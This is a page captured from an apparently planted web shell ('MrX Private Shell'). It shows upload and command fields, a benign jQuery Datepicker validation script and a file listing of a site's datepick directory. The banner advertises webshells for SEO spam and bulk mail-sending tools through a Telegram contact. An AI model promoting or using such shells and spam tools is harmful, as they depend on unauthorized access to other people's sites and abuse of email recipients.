__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* http://keith-wood.name/datepick.html
   Datepicker Validation extension for jQuery 3.7.1.
   Requires J�rn Zaefferer's Validation plugin (http://plugins.jquery.com/project/validate).
   Written by Keith Wood (kbwood{at}iinet.com.au).
   Dual licensed under the GPL (http://dev.jquery.com/browser/trunk/jquery/GPL-LICENSE.txt) and 
   MIT (http://dev.jquery.com/browser/trunk/jquery/MIT-LICENSE.txt) licenses. 
   Please attribute the authors if you use it. */

(function($) { // Hide the namespace

/* Add validation methods if validation plugin available. */
if ($.fn.validate) {

	$.datepick._selectDate2 = $.datepick._selectDate;
	
	$.extend($.datepick.regional[''], {
		validateDate: 'Please enter a valid date',
		validateDateMin: 'Please enter a date on or after {0}',
		validateDateMax: 'Please enter a date on or before {0}',
		validateDateMinMax: 'Please enter a date between {0} and {1}'
	});
	
	$.extend($.datepick._defaults, $.datepick.regional['']);

	$.extend($.datepick, {

		/* Trigger a validation after updating the input field with the selected date.
		   @param  id       (string) the ID of the target field
		   @param  dateStr  (string) the chosen date */
		_selectDate: function(id, dateStr) {
			this._selectDate2(id, dateStr);
			var inst = this._getInst($(id)[0]);
			if (!inst.inline && $.fn.validate)
				$(id).parents('form').validate().element(id);
		},

		/* Correct error placement for validation errors - after any trigger.
		   @param  error    (jQuery) the error message
		   @param  element  (jQuery) the field in error */
		errorPlacement: function(error, element) {
			var trigger = element.next('.' + $.datepick._triggerClass);
			error.insertAfter(trigger.length > 0 ? trigger : element);
		},

		/* Format a validation error message involving dates.
		   @param  source  (string) the error message
		   @param  params  (Date[]) the dates
		   @return  (string) the formatted message */
		errorFormat: function(source, params) {
			var format = ($.datepick._curInst ?
				$.datepick._get($.datepick._curInst, 'dateFormat') :
				$.datepick._defaults.dateFormat);
			$.each(params, function(i, v) {
				source = source.replace(new RegExp('\\{' + i + '\\}', 'g'),
					$.datepick.formatDate(format, v) || 'nothing');
			});
			return source;
		}
	});

	/* Apply a validation test to each date provided.
	   @param  value    (string) the current field value
	   @param  element  (element) the field control
	   @param  test     (function) the validation to apply
	   @return  (boolean) true if OK, false if failed validation */
	function validateEach(value, element, test) {
		var inst = $.datepick._getInst(element);
		var rangeSelect = $.datepick._get(inst, 'rangeSelect');
		var multiSelect = $.datepick._get(inst, 'multiSelect');
		var dates = (rangeSelect ? value.split($.datepick._get(inst, 'rangeSeparator')) :
			multiSelect ? value.split($.datepick._get(inst, 'multiSeparator')) : [value]);
		var ok = (rangeSelect && dates.length == 2) ||
			(multiSelect && dates.length <= multiSelect) ||
			(!rangeSelect && !multiSelect && dates.length == 1);
		if (ok) {
			try {
				var dateFormat = $.datepick._get(inst, 'dateFormat');
				var config = $.datepick._getFormatConfig(inst);
				$.each(dates, function(i, v) {
					dates[i] = $.datepick.parseDate(dateFormat, v, config);
					ok = ok && test(dates[i]);
				});
			}
			catch (e) {
				ok = false;
			}
		}
		if (ok && rangeSelect) {
			ok = (dates[0].getTime() <= dates[1].getTime());
		}
		return ok;
	}

	/* Validate basic date format. */
	$.validator.addMethod('dpDate', function(value, element) {
			return this.optional(element) ||
				validateEach(value, element, function(date) { return true; });
		}, function(params) {
			return $.datepick._defaults.validateDate;
		});

	/* Validate format and against a minimum date. */
	$.validator.addMethod('dpMinDate', function(value, element, params) {
			var inst = $.datepick._getInst(element);
			params[0] = $.datepick._determineDate(inst, $.datepick._get(inst, 'minDate'), null);
			return this.optional(element) ||
				validateEach(value, element, function(date) {
					return (!date || !params[0] || date >= params[0]);
				});
		}, function(params) {
			return $.datepick.errorFormat($.datepick._defaults.validateDateMin, params);
		});

	/* Validate format and against a maximum date. */
	$.validator.addMethod('dpMaxDate', function(value, element, params) {
			var inst = $.datepick._getInst(element);
			params[0] = $.datepick._determineDate(inst, $.datepick._get(inst, 'maxDate'), null);
			return this.optional(element) ||
				validateEach(value, element, function(date) {
					return (!date || !params[0] || date <= params[0]);
				});
		}, function(params) {
			return $.datepick.errorFormat($.datepick._defaults.validateDateMax, params);
		});

	/* Validate format and against minimum/maximum dates. */
	$.validator.addMethod('dpMinMaxDate', function(value, element, params) {
			var inst = $.datepick._getInst(element);
			params[0] = $.datepick._determineDate(inst, $.datepick._get(inst, 'minDate'), null);
			params[1] = $.datepick._determineDate(inst, $.datepick._get(inst, 'maxDate'), null);
			return this.optional(element) ||
				validateEach(value, element, function(date) {
					return (!date || ((!params[0] || date >= params[0]) &&
						(!params[1] || date <= params[1])));
				});
		}, function(params) {
			return $.datepick.errorFormat($.datepick._defaults.validateDateMinMax, params);
		});
}

})(jQuery);

Filemanager

Name Type Size Permission Actions
calendar-blue.gif File 969 B 0640
calendar-green.gif File 934 B 0640
calendar.gif File 269 B 0640
flora.datepick.css File 4.11 KB 0640
jquery.datepick-ar.js File 1.96 KB 0640
jquery.datepick-az.js File 1.39 KB 0640
jquery.datepick-bg.js File 1.85 KB 0640
jquery.datepick-ca.js File 1.19 KB 0640
jquery.datepick-cn.js File 1.44 KB 0640
jquery.datepick-cs.js File 1.48 KB 0640
jquery.datepick-da.js File 1.42 KB 0640
jquery.datepick-de.js File 1.39 KB 0640
jquery.datepick-el.js File 1.96 KB 0640
jquery.datepick-eo.js File 1.37 KB 0640
jquery.datepick-es.js File 1.2 KB 0640
jquery.datepick-et.js File 1.25 KB 0640
jquery.datepick-eu.js File 1.2 KB 0640
jquery.datepick-fa.js File 1.64 KB 0640
jquery.datepick-fi.js File 1.32 KB 0640
jquery.datepick-fr-CH.js File 1.43 KB 0640
jquery.datepick-fr.js File 1.46 KB 0640
jquery.datepick-he.js File 1.26 KB 0640
jquery.datepick-hr.js File 1.36 KB 0640
jquery.datepick-hu.js File 1.28 KB 0640
jquery.datepick-hy.js File 1.48 KB 0640
jquery.datepick-id.js File 1.45 KB 0640
jquery.datepick-is.js File 1.42 KB 0640
jquery.datepick-it.js File 1.45 KB 0640
jquery.datepick-ja.js File 1.54 KB 0640
jquery.datepick-ko.js File 1.28 KB 0640
jquery.datepick-lt.js File 1.27 KB 0640
jquery.datepick-lv.js File 1.25 KB 0640
jquery.datepick-ms.js File 1.43 KB 0640
jquery.datepick-nl.js File 1.48 KB 0640
jquery.datepick-no.js File 1.2 KB 0640
jquery.datepick-pl.js File 1.45 KB 0640
jquery.datepick-pt-BR.js File 1.25 KB 0640
jquery.datepick-pt.js File 1.25 KB 0640
jquery.datepick-ro.js File 1.49 KB 0640
jquery.datepick-ru.js File 1.43 KB 0640
jquery.datepick-sk.js File 1.21 KB 0640
jquery.datepick-sl.js File 1.55 KB 0640
jquery.datepick-sq.js File 1.39 KB 0640
jquery.datepick-sr-SR.js File 1.38 KB 0640
jquery.datepick-sr.js File 1.76 KB 0640
jquery.datepick-sv.js File 1.24 KB 0640
jquery.datepick-th.js File 1.57 KB 0640
jquery.datepick-tr.js File 1.37 KB 0640
jquery.datepick-tw.js File 1.44 KB 0640
jquery.datepick-uk.js File 1.43 KB 0640
jquery.datepick-validation.js File 5.5 KB 0640
jquery.datepick-validation.min.js File 3.06 KB 0640
jquery.datepick-validation.pack.js File 2.67 KB 0640
jquery.datepick-vi.js File 1.63 KB 0640
jquery.datepick.css File 3.9 KB 0640
jquery.datepick.wpbc.9.0.js File 101.82 KB 0640
redmond.datepick.css File 3.76 KB 0640
smoothness.datepick.css File 3.77 KB 0640
ui-blacktie.datepick.css File 592 B 0640
ui-blitzer.datepick.css File 591 B 0640
ui-cupertino.datepick.css File 593 B 0640
ui-dotluv.datepick.css File 590 B 0640
ui-excitebike.datepick.css File 594 B 0640
ui-hotsneaks.datepick.css File 593 B 0640
ui-humanity.datepick.css File 592 B 0640
ui-mintchoc.datepick.css File 592 B 0640
ui-redmond.datepick.css File 591 B 0640
ui-smoothness.datepick.css File 594 B 0640
ui-southstreet.datepick.css File 595 B 0640
ui-start.datepick.css File 589 B 0640
ui-swankypurse.datepick.css File 595 B 0640
ui-trontastic.datepick.css File 594 B 0640
ui-uidarkness.datepick.css File 595 B 0640
ui-uilightness.datepick.css File 596 B 0640
ui-vader.datepick.css File 589 B 0640
ui.datepick.css File 1.85 KB 0640
Filemanager